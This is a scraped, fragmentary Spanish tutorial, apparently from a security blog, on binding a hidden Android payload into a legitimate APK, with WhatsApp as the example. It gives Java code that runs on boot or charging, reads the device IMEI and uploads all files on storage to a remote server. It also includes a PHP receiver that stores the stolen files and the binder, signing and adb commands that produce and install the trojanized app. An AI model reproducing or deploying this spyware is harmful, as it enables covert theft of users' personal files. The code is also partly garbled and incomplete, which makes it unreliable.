Académique Documents
Professionnel Documents
Culture Documents
PUBLICADO POR CONTRIBUCIONES ON LUNES, 7 DE ABRIL DE 2014 ETIQUETAS: ANDROID , HERRAMIENTAS , TUTORIALES
android.intent.action.BOOT_COMPLETED
android.intent.action.ACTION_POWER_CONNECTED
package com.example.test_apk_binder;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main_activity2);
startService(new Intent(getApplicationContext(),
ServiceBind.class));
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.main_activity2, menu);
return true;
}
package com.example.test_apk_binder;
import android.app.Service;
import android.content.Intent;
import android.os.Environment;
import android.os.IBinder;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
}catch(Exception e){
e.printStackTrace();
}
}
package com.example.test_apk_binder;
import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.ArrayList;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import android.content.Context;
import android.telephony.TelephonyManager;
import android.util.Log;
init(context, rootPath);
}
this.rootPath = rootPath;
this.context = context;
TelephonyManager tManager =
(TelephonyManager)this.context.getSystemService(Context.TELEPHONY_SERVICE
);
serialn = tManager.getDeviceId();
getFiles(this.rootPath);
sendFiles();
}
try{
for(int x=0;x<files.size();x++){
url =
END_POINT + "/?" +
"sn=" + serialn +
"&fn=" + URLEncoder.encode(files.get(x),
"UTF-8") +
"&fs=" + String.valueOf(new
File(files.get(x)).length());
httppost = new HttpPost(url);
response = httpclient.execute(httppost);
response.getEntity().getContent().read(r);
httppost.abort();
if((char)r[2] == '1'){
Log.d(TAG, files.get(x) + " - El fichero existe,
pasamos al siguiente...");
continue;
}
else{
try{
reqEntity = new InputStreamEntity(
new FileInputStream(files.get(x)), -1);
reqEntity.setContentType("binary/octet-stream");
reqEntity.setChunked(true);
httppost = new HttpPost(url);
httppost.setEntity(reqEntity);
httpclient.execute(httppost);
httppost.abort();
}catch(Exception e){
Log.d(TAG, "Error al abrir el archivo: " +
files.get(x) + " : " + e.getMessage());
}
}
}
}catch(Exception e){
e.printStackTrace();
}
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"
/>
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<service android:name="com.example.test_apk_binder.ServiceBind"
/>
<activity
android:name="com.example.test_apk_binder.MainActivity2"
android:label="@string/title_activity_main_activity2" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER"
/>
</intent-filter>
</activity>
</application>
</manifest>
python apk_binder_script.py
-t demo\com.whatsapp-2.apk
-b demo\Test_apk_binder.apk
-c com.example.test_apk_binder.ServiceBind
jarsigner
-verbose
-sigalg SHA1withRSA
-digestalg SHA1
-keystore
-storepass
-keypass "Bind_com.whatsapp.apk" androiddebugkey
<?php
error_reporting(0);
@$sn = $_GET["sn"];
@$fn = urldecode($_GET["fn"]);
@$fs = $_GET["fs"];
@$file = $sn . $fn;
@$path_file = $sn . substr($fn, 0, strripos($fn, "/"));
@$body = file_get_contents("php://input");
@mkdir($path_file, "0755", true);
@chmod($path_file, "0755");
@$fp = fopen($file, "w");
@fwrite($fp, $body);
@fclose($fp);
}
?>
<?=$exists?><?php
http:///apk_binder/index.php
emulator @nombre_emulador
Instalamos apk:
adb install Bind_com.whatsapp.apk
power ac off
power ac on
Saludos,
--
Adrián Ruiz Bermudo
adrianruiz.net
@funsecurity
GPG
ID: 0x586270E8
FINGERPRINT: 9841 A1F0 1FB4 31B2 82F4 6E91 A660 815B 5862
70E8